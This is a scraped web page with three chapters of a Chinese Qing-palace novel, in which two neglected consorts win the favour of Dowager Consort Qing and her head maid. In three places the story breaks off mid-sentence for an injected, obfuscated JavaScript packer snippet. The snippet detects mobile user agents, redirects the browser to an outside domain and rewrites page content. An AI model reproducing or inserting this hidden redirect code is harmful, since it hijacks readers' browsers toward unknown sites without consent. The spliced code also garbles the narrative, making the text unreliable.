庆太妃下轿,保养得宜的脸上有些疲色,扶着桂嬷嬷的胳膊,略按了按太阳穴:“今日上午先是帮太后娘娘抄佛经,下午又与她打了一下午的叶子戏,都没个偷懒的空儿,倒真是有些疲累。” “您最爱的六安茶给您备下了,喝口茶去去疲惫,提提精神,奴婢再给您按按肩,舒服些。” 庆太妃点点头:“还是你贴心。” 一番捏肩捶腿后,庆太妃果然舒服了不少,桂嬷嬷看着正殿中央的那座西洋钟,时间也差不多了:“娘娘,可要用晚膳?今儿个奴婢弄了些新鲜的菠菜来,都是头一茬最鲜嫩的,用猪油炒着吃,清脆可口!” “菠菜?”庆太妃端着茶杯的手一顿:“这时节还能弄得来鲜菜?” “是啊,奴婢也说呢,怎么这么巧?奴婢熟识的太监在外面认识了庄子上的人,说是这时节种出了菠菜来,问问奴婢要不要?”桂嬷嬷扯谎不打草稿,“奴婢想着娘娘这儿也好久没吃上什么像样的鲜菜,秋里储备的白菜都快把嘴巴都吃腻了!” “你说的正是!”庆太妃想起白菜的滋味来,心里也是一阵腻味,“那便安排着小厨房那边炒了菠菜来,按你说的,用猪油炒着吃!” 桂嬷嬷应了,吩咐人下去做事,而后,压低了声音又问道:“娘娘,太后娘娘那边的口风到底是如何?” “唉,探不出来呢,”庆太妃叹了口气,“我日日在她面前捧哏讨好,但她那嘴,根本漏不出一点风来,说就是前朝的事,后宫不得干涉,全凭皇上做主!” “可皇上一向是天底下最孝顺的,这些对皇上而言不过是微末小事,如果太后娘娘愿意美言几句,情况自然是大不一样的。” “关键就是她不肯张嘴啊,”庆太妃脸上无可奈何,“我能有什么法子?” “二十四阿哥明年就要出宫建府了,这时间过得快得很,事关阿哥的前程啊!” 清廷的规矩,皇子们并非生来就有爵位的,得要皇上册封才有爵位,爵位也有高低,从亲王、郡王、贝勒,贝子,国公,一直到最低的镇国将军、辅国将军,不然的话,就是光头阿哥,每个月的俸禄很有限,而且没有爵位传下去,到了第三代就是个普通宗室了。 庆太妃日日往太后那儿去,就是想着太后能在皇上面前美言几句,明年她的二十四阿哥出宫建府,至少有一个贝子爵位,有贝勒那就更好了,亲王、郡王她不敢想,她出身普通,二十四年纪小, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033166|162343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又没有什么才能,实在是摸不着。 “我再努努力吧,”庆太妃深吸一口气,换了个话题,“你和南三所那边的嬷嬷可有打过招呼?二十四阿哥最近睡得可好?膳食用得香不香?” “都好着呢!那边的嬷嬷说,二十四阿哥最近又长高了,才刚做了三个月的衣裳就穿不下了,还常向嬷嬷询问娘娘的近况呢!” 庆太妃听得眼泛泪花:“好,好孩子,不枉我这个做娘的一直记挂着他。” 清宫的规矩,妃嫔不得抚养自己的亲生孩子,再加上康熙爷驾崩的时候,二十四阿哥还是个牙牙学语的稚儿,庆太妃和二十四阿哥一年到头根本见不上几次面。 小孩子又长得快,她每次见到二十四阿哥,对方都会有一些变化,而看到这些变化,她的心就忍不住揪起来,她是他的亲娘啊,但是他成长过程中的点点滴滴他都没有参与,若非逢年过节还能碰到,和陌生人又有什么区别? 桂嬷嬷了解庆太妃的心思,安慰道:“娘娘,横竖就这一年了,明年,不管怎么样,您和二十四阿哥总能母子团聚了!” 说话间,晚上的膳食也准备好了。 庆太妃擦擦眼泪,在桂嬷嬷的安慰陪伴下前去用膳。 第一口尝的就是桂嬷嬷竭力推荐的菠菜,在这冬日吃到这样的绿叶菜,确实感觉清新宜人。 “可惜宫里头不准私相授受,不然倒是可以给二十四阿哥送盘去。”庆太妃还没缓过神来。 她这边感慨自己母子分离,延春阁后头,马薇和月答应没有猪油,用了些菜籽油炒菠菜,也是美味得很。 “越想,越觉得这庆太妃好福气,”月答应夹了一口菠菜,“日子过得舒心,这都不是她手指缝里漏的,而是她身边宫女手指缝里漏的,真是舒服啊!” 马薇看着月答应羡慕的神情,倒是轻摇了摇头:“物质待遇是比咱们强,可她有个孩子,明明都在这紫禁城里,却不能相见,心里头的苦闷想必也不会少。” “咱们既下了心思要讨好她,我瞧着,倒是可以从这方面入手。” 月答应面带疑惑,不大明白马薇的意思。 “这事儿,还得从长计议……一时之间我也拿不出个章程来,得慢慢地想法子!”马薇神色凝重,指节扣着桌面,发出了清脆的响声。 5. 第 5 章 晚间,二人洗漱过后,马薇特意用了今儿刚得的新炭放在炭炉里:“今儿晚上可终于能睡个好觉了!” 月答应不知道从哪个犄角旮旯里找出来个旧式汤婆子,铜制的柄处早已长出了铜绿,沾上了杂质,灰扑扑的。 她将汤婆子灌的满满的,然后放在炭炉上面:“待会儿咱们抱着这个睡,肯定暖和!” 这些炭到底火力旺,不消一刻钟时间,汤婆子便触手发烫,月答应小心翼翼地把汤婆子拎到被褥里,摸索着力求将被褥的每一块都盖上汤婆子的温度。 “这水明天再借着炭炉的余温,刚好可以用来洗漱。”马薇搓搓手,钻进了被窝里。 月答应收了尾也钻了进来,汤婆子放在二人中间,像个小火炉,让人安心。 一夜好睡。 之后的日子里,马薇和月答应也算搭上了彩珠这条线,时常寻个机会和彩珠唠唠家常,说些话,拉进拉进关系,当然,很多时候也不是空手的,银钱上面不敢露白,但旁的东西可是送了彩珠不少。 尤其是月答应的绣活儿,不拘是帕子,还是做的里衣,甚至是小孩子玩的布娃娃,都送过。 彩珠一应份例都是有的,不缺吃穿,但她自小儿便进宫做宫女伺候人,从来都是她捧着主子娘娘们,包括像桂嬷嬷这样的大宫女,鲜少有人来吹捧她。 马佳常在和月答应再怎么落魄,那也是正经主子,她们二人对她的吹捧,大大满足了她的自尊心,便也时常在桂嬷嬷面前提及二人是如何不易。 桂嬷嬷在这宫里几十年了,眼睛尖的很,彩珠那点儿小心思,怎么能瞒的过她去? 这一日,彩珠又说起后头的马佳常在和月答应是如何如何不容易。 桂嬷嬷没有立即回话,从荷包里掏出了些瓜子仁儿慢慢嚼,嚼得彩珠面上尴尬,说话的声音越来越小,最后闭了嘴,只用一双眼睛打量着桂嬷嬷的神色。 “怎么不说了?”桂嬷嬷终于开口。 “我……”彩珠小声嗫嚅着,“我这不是瞧您不愿意听嘛……” “嗬!”桂嬷嬷轻挑眉,“哪是我不愿意听啊,你自己想想,这些天你提了她们多少回?耳朵都听出茧子了!” 彩珠闻言,只得尴尬地笑笑。 “她们求到你面前了?”桂嬷嬷语气不急不缓。 “您老人家慧眼如炬,一眼就看出来了。”彩珠脸上带着讨好的笑,有些不好意思。 “说说吧,你收了她们什么好处,这么为她们说话?”瓜子仁儿嚼得有些口干,桂嬷嬷抿了口茶水压压。 “她们都过成那样了,能从她们手里得什么好处?”彩珠忙否认,“不过是她们常对我诉苦,我看着她们也实在可怜,所以才在您面前为她们说上几句话。” “您要是不喜欢听,我以后不提她们就是。” 桂嬷嬷原意只是提点一下彩珠,这延春阁里,不能有事瞒着她的眼睛,但彩珠不肯说实话,倒真激起了她的几分脾气。 “我可没说这话,”她嘴角似笑非笑,轻哼了一声,“她们什么时候搭上你的?怎么跟你说的?送了你什么东西?都给我一五一十地说清楚!” 说到最后,“啪”的一声,她的手拍在桌子上,力道不轻不重,但足够震慑人。 彩珠忙吓得跪了下来,庆太妃极为信任桂嬷嬷,桂嬷嬷对着她们这些宫女是有“生杀”大权的,只是桂嬷嬷平常一直好颜色,不怎么动气的。 惊吓之下,便一五一十地将马薇与月答应如何讨好她,送她的小玩意,以及想要她帮衬一下她们的事都告诉了桂嬷嬷。 “真没有拿她们什么东西!”彩珠哭诉,“就是些她们自己做的针线活儿,不值钱的小玩意儿,我现在就可以拿出来给嬷嬷瞧!”说着,她就要起身回自己的屋子。 “不许动!跪着!” 桂嬷嬷没有轻拿轻放:“她们找了你,你就该把事情原原本本地告诉我,而不是想做什么中间人,知道吗?” “当我不知道你的心思?” 彩珠从没见过这样的桂嬷嬷,吓得两股战战,两道泪痕犹自洇着,小声啜泣,不敢再言语。 马薇和月答应正聊着家常,帮着月答应扯线头,却见彩珠一路小跑,着急忙慌地跑了过来,连头上的二把头都歪了。 二人对视一眼,这是怎么了? 彩珠跑到近前来,险些摔了一跤,幸亏二人手脚快,扶住了她。 “怎么了,彩珠姑娘?”马薇看着彩珠尚有泪痕的脸,心下也有些害怕,开口问道。 “唉,都是因为你们!”彩珠抱怨道,“桂嬷嬷找你们呢,快跟我去吧。” 这是?二人意欲再问,但彩珠并无心思与她们多说,只在前头带路,只是腿有些一拐一拐的,还扶着膝盖,不知是不是方才险些摔跤在地的缘故。 彩珠领着她们到了延春阁主殿旁的一间不起眼的小屋子内,这屋子用作杂物房的,平日里无人来,里头的杂物上面都覆了一层灰,马薇进去的时候被呛得咳了两声。 屋子里却站着一个人。 这人看上去有些年纪,体型有些壮硕,梳的二把头有些粗大,看上去就是比旁人的要大上一号,鬓边簪了些珍珠,绿松石的首饰,看上去体面又不出挑。 此刻她的面容看上去倒算和蔼,但是一双不大的眼睛却闪烁着精光,马薇和月答应刚一进门,就被她不着痕迹地打量了遍。 而马薇一看见她,也在脑海中搜寻起了她的相关信息。 延春阁掌事大宫女,庆太妃的心腹,桂嬷嬷。 月答应显然也认出了她,在后面偷偷拉着马薇的衣襟。 显然,如今情形有些尴尬。 桂嬷嬷虽是宫女,但是却握有实权,马薇和月答应白担了主子的虚名,实则日子过得苦哈哈,倒不知该怎样见礼了。 最终,还是桂嬷嬷半步上前,微微屈了半身:“马佳常在,月答应,有礼了。” 马薇和月答应也忙福了半身,然后将桂嬷嬷扶起来。 桂嬷嬷也不拐弯抹角的,对着彩珠使了个眼色,彩珠便退着身子出了门,临走前还将门给带上了。 “听彩珠说,二位小主,近况不佳?”她直接问道。 马薇面上有些羞赧,这桂嬷嬷说话也太直接了些,有些纠结地开口:“是啊,让嬷嬷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033167|162343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话了,还多亏嬷嬷前些日子拨的炭,不然这冬天可真不好熬。” “小事一桩,”桂嬷嬷面有矜色,“听闻马佳常在前些日子还晕厥过去了,如今身子可还好全了?” “劳烦嬷嬷挂心了,”马薇直视着桂嬷嬷打量的眼神,“就那两天身上不爽利,早已好了。” 桂嬷嬷拉着二人闲话了些许,倒是觉出了些许异样。 她也不是没跟这两个人打过交道,这月答应么,还是同往常一样,胆子小,畏畏缩缩的,躲在马佳常在后面,不点到她,就一直缩着脑袋不说话。 这马佳常在,倒是…… 她印象里,马佳常在这个人性子有点执拗,但是执拗又执拗不到点上,那内务府克扣她,她从来也不闹,旁的人自然也就是冷眼旁观,谁会为了她去得罪内务府? 不闹却又不服软,犟犟的,苦头全让自己吃了。 但是今儿个这番说话交流,不说有多好,也算是进退得宜,说的话像是个场面上的人。 这是,转性儿了? 马薇这边脑子里也思量开了,这桂嬷嬷说了一通,言谈间并没有什么恶意,不过,刚才彩珠的样子分明是被责骂过了,也不知到底是怎么个章程。 思来想去,她还是觉得,直接开口比较好。 “论理,太妃娘娘与我们同居延春阁,虽说都是寡居,不讲究那些个了,但我们也该时常来向太妃娘娘请个安,”马薇斟酌着开口,“若是太妃娘娘看我们勤谨,能关照则个……” 这话里的意思很明白了。 桂嬷嬷不知这马佳常在为何变化这么大,但不论是她还是庆太妃其实都没和马佳常在有什么真的过节,人家过来示好了,也不好把人往外推。 “常在的意思,我明白了,待我将常在的这份心回禀太妃娘娘过后,娘娘也会欢喜的。” 桂嬷嬷这话虽没打包票,但话里的意思那就是有戏,马薇和月答应忙连声道:“那便劳烦桂嬷嬷了!” 二人又与桂嬷嬷说了会儿话,然后才欣喜离开。 晚间,桂嬷嬷伺候着庆太妃脱簪梳洗,将二人的事说与她听。 庆太妃听了倒是一愣,摘耳环的手顿了一下:“她们俩?” “是呀,”桂嬷嬷一边帮她梳着头发,一边回道,“也不知怎么的,这马佳常在像变了个性子似的,娘娘也该见见,如今说话软和得很!” “是吗?”庆太妃奇道,“我一直觉得她性子别扭,不讨人欢喜,若非美貌,决计不能得康熙爷的青睐的,这么些年,也从没在我面前低过头。” “她前些日子不是还自己还小小办了一场生日宴?压根儿没到我这边来说过,这才几天,就变化这么大?” 耳听为虚,眼见为实,桂嬷嬷也知光凭自己一张嘴,确实很难让庆太妃相信。 “娘娘若是不信,招了她来,一瞧便知。” “你这倒是真勾起了我的兴致!” 庆太妃面上露出了几分轻谑的笑,然而这笑却在她看见自己的白发时戛然而止。 半晌,才道:“都是老白菜梆子了,罢了罢了,没的这副看好戏的姿态,没意思!” 6. 第 6 章 既过了明路,延春阁对二人的照顾也多了不少。 庆太妃默许,桂嬷嬷做主,从过冬衣物到一日三餐,都给了她们便利,终于能够吃饱穿暖了,马薇看着屋子里多出来的篓子,激动的几乎要落泪,总算是能过上正常人的日子了! 月答应翻检着这些篓子,左边一个篓子里装的都是些皮毛、棉鞋等物,崭新崭新的,穿在身上暖洋洋的,一点儿都不像那些积年的、又硬又冷;旁边两个篓子里装的则是些日常吃的米面油,鲜肉腊肉都有,还有好几十个鸡蛋;最后那个篓子则是装满了炭,底下三分之二仍是寻常黑炭,最上头竟是好几斤的红萝炭! “姐姐,我都不记得上次用这红萝炭是什么时候了!”月答应拿出一小块红萝炭放在掌心细细摩挲着,“看看这颜色,银霜一样的,漂亮极了!” “是啊,真是没想到,”马薇感慨道,“不过是软了身段,说了些好话,就得了这么多好处!” 她原本以为这马佳常在混得这么惨,纯属倒霉,现在看看,个人也有原因,拍拍马屁就这么多实实在在的好处,这可比她之前那份工作舒服多了! 只是这庆太妃不知是真的忙,还是旁的什么原因,送了这些东西,也没叫她们到前面去见个面说个话什么的,难道是要先晾上一晾?不知道她究竟作何打算。 其实,这倒是马薇想歪了,庆太妃只是一心往太后那边跑,着实没空搭理她们两个。 慈宁宫是全紫禁城最热闹的所在。 毕竟乾隆皇帝孝顺母亲天下皆知,宫里的人投其所好,自然也常跑到慈宁宫凑趣,热热闹闹的。庆太妃在延春阁是话事人,但到了那边,也就占了一个辈分高,不然的话,就是个透明人。 她自然是要全神贯注地凑趣,好让旁人知道,宫里还有这么一号人。 这一日,富察皇后带着她嫡出的二阿哥永琏来向太后请安,永琏如今不过是八岁的年纪,正是玉雪可爱的时候,像个小大人一样跪在地上请安,太后欢喜的了不得。 陪着富察皇后来的还有贵妃高氏,高氏没有孩子,又一向敬重皇后,银铃般的笑声在慈宁宫后面的花园里回响:“我瞧着二阿哥这样儿,聪慧乖巧,知书懂礼,很有几分咱们皇上的风范,太后娘娘,您看是也不是?” 这一番话听得富察皇后掩面低笑,嘴中却道:“他才多大?能看出些个什么来?” 太后听了这话,却并没有不以为意,捧着永琏那张稚嫩的小脸蛋儿,从他的眉眼,到他的鼻子嘴巴,一一打量过去,肯定了高氏的说法:“是有些像皇帝小时候的样子,瞧瞧,尤其是这左边脸蛋上的小酒窝,皇帝这么大的时候也有一个,后来长大了,脸瘦了,才慢慢消失了。” 太后笑得十分慈爱,吩咐着身旁的宫女:“去拿一对笔锭如意的金锞子来,二阿哥收着,也讨个好彩头!” 庆太妃在一旁陪着笑,却插不进话来,瞧着二阿哥被众星捧月的样子,想起自己与儿子“天各一方”,心中泛起几分苦涩。 就这样在一旁强撑着看着人家天伦之乐,其乐融融,自个儿搜肠刮肚,寻出了几句漂亮话来迎合,好不容易回了自己的延春阁,心里烦闷,屏避了宫女太监,竟是掏出了帕子暗暗抹泪。 桂嬷嬷闻得庆太妃回来,到前殿来伺候,却见前殿内空无一人,连蜡烛也不曾点,昏昏暗暗的。 怎的这些宫女这般惫懒? 她心内正疑惑着,却见内殿里庆太妃一个人孤零零地坐在床沿边,架上就点着一只蜡烛,一个人坐在那儿,似在啜泣抹泪。 她忙小步上前,看看究竟怎么回事。 庆太妃听到脚步声响,心内有些不自在:“不是说让我一个人静静吗?连我的话都不听了?” “娘娘,是我!”桂嬷嬷掀开帘子。 庆太妃见来人是桂嬷嬷,那点不自在消散了,取而代之的是苦闷:“我刚刚从太后那边回来。” 桂嬷嬷没有接话,听她继续说。 “皇后带了二阿哥过来给太后请安,我看着二阿哥的样儿,就想着我的二十四阿哥这么大的时候是不是也像他一样?”她拿着帕子捂脸,“唉,也是我自己不好,这么多年都过来了,怎么,也不差这一年了,怎么离跟儿子团聚的日子越近,我这心里反而越发忐忑起来了,也不知究竟怎么了?” “还是那句话,娘娘放宽心!”桂嬷嬷安慰着庆太妃。 “皇上与皇后琴瑟和谐,二阿哥是正宫嫡出,比之大阿哥,更受皇上宠爱,虽然没有明说,但听风声,储君之位必是二阿哥的!”桂嬷嬷听了庆太妃的话,意有所指。 “你是说……”庆太妃品过味来,“让我平日里也多与二阿哥联络联络?” 略略一顿,她还是摇头:“不是我不想,只是今儿个也只不过是皇后带着二阿哥来给太后请安才见着,平日里压根也没什么机会接触啊!” “和太后说话还有个道理在,和皇后怎生拉近关系?” 她说的不无道理,桂嬷嬷点点头:“总之走一步看一步,碰上了怎么着也要说些贴近话!” “唉,”庆太妃心里还是有点不得劲,“那便都听你的……” 她调整了一会儿心态,然后又问,“延春阁里没什么事吧?” “没什么事,一切都好好的呢!”桂嬷嬷去洗脸架上拧了一条热乎乎的毛巾来,为庆太妃擦拭面上泪痕,“就是后面的马佳常在和月答应说要给您谢恩,但一直没等到您有空的时候,您看?” 蒸腾的热气让庆太妃的毛孔都舒展开来,她舒服地呼出一大口气,接过毛巾来:“倒是忘记她们俩了,你给我重新梳洗一下,待会儿就让她们来吧。” —— 马薇和月答应的小屋里,二人穿着暖洋洋的新衣,正在用着晚膳。 这顿晚膳,那可是不一般的丰盛。 二人找了个锅子出来,美滋滋地烫火锅吃,用的是老北京铜火锅,许久不用了,上面的油腻污渍厚厚一层,二人用碱水洗涮了好久才涮干净。 “看我调的这个蘸料你喜不喜欢?”马薇将一个小碟子递给月答应,这还是以前她在海底捞,服务员小姐姐给她调的,她照着现有的材料模仿了个七八成。 月答应用筷子点了一点,放入口中抿了抿,面带惊喜:“马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033168|162343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佳姐姐,这味道可真不错,以前吃锅子都是蘸麻酱的,没想到还能这么吃!” 微辣中带着些清甜,又有麻油的香,还有着老陈醋那股子浓厚但不涩口的酸味,层次感十足,在口腔中蔓延开来。 “肉蘸着吃,更香呢!”马薇用漏勺捞出了几片切的薄薄的牛肉出来,也不客气,分了两片给月答应,便自己夹着肉片蘸着料囫囵吞下。 牛肉滚烫,烫的马薇龇牙咧嘴,却掩不住她脸上的笑意,滚烫的热气从她的口腔蔓延到她的面颊,一张脸,红彤彤的。 一股子鲜活气息。 月答应也学着她这样做,却烫了舌头,慌乱间把块牛肉吐在地上。 “我这毛病!”看着只被嚼了两口的牛肉,她脸上全是惋惜之色。 马薇噗嗤一笑:“怎的什么都跟着我学,连这囫囵吞枣的毛病也学了去?” 月答应被说的不好意思,一张小脸上,既有被烫的红,又有几分羞赧,看得马薇笑的越发开怀。 二人说笑间,却忽的听见门被扣的砰砰响,随之而来的是彩珠的声音:“两位小主可在?” 月答应忙用帕子抹了抹嘴,三步并作两步前去开门。 马薇也收拾出了个空座来,正欲再拿出副碗筷来请彩珠坐下,那边彩珠已经进门来了,见着马薇动作,忙笑着开口制止:“常在不用忙,这是在吃饭?可是不巧了,娘娘今儿个得闲,想寻二位说说话!” 马薇动作一顿,庆太妃“冷了”自己两人这么些时日,终于想起她们了? 她心里有些不定,但面上还要表现的热情洋溢:“此刻便去吗?这手忙脚乱的,我二人也没装扮一番,”她的手不自在地在衣襟处蹭了蹭,“身上还有锅子味呢,只怕冒犯了太妃娘娘。” “不过寻常说说话,能有什么冒犯的?”彩珠摆摆手,瞅了瞅眼前的锅子,“这是吃了多少了?” “已是快吃完了!”月答应听着彩珠话里的意思,忙笑着接话。 马薇自是知晓她的意思:“是了,吃了七八分饱,冬日里吃锅子果然是最适宜不过的,我这背上都要冒汗了,还得多谢彩珠姑娘在娘娘面前美言!” “那……”彩珠微微笑着,只看着马薇。 “若是太妃娘娘不嫌弃的话,那我们,即刻便去!” 将锅子底下的炭熄了,彩珠在前头带路,马薇和月答应跟在后头,心里有些七上八下的。 庆太妃在她的脑海中是个很模糊的印象,这么些年虽然同住延春阁,但也没多少照面。 虽说能对她二人施以援手,多半还是讲几分情面的,但心里还是有几分不定,她搜肠刮肚,努力寻出些漂亮话,预先准备着,且看这庆太妃是何种性格,再说些让她高兴的。 不知不觉间,已是到了。 彩珠刚一推开门,马薇便觉得暖气扑面而来,熏得她不自觉眯了眼。 殿内燃了香,马薇也闻不出来是个什么香,只觉得闻了后心平气和不少,那点子紧张也平复了。 她侧头,看见月答应微微缩着脖子,眼底微含怯色,伸出了手握住她,做了个口型:“别怕。”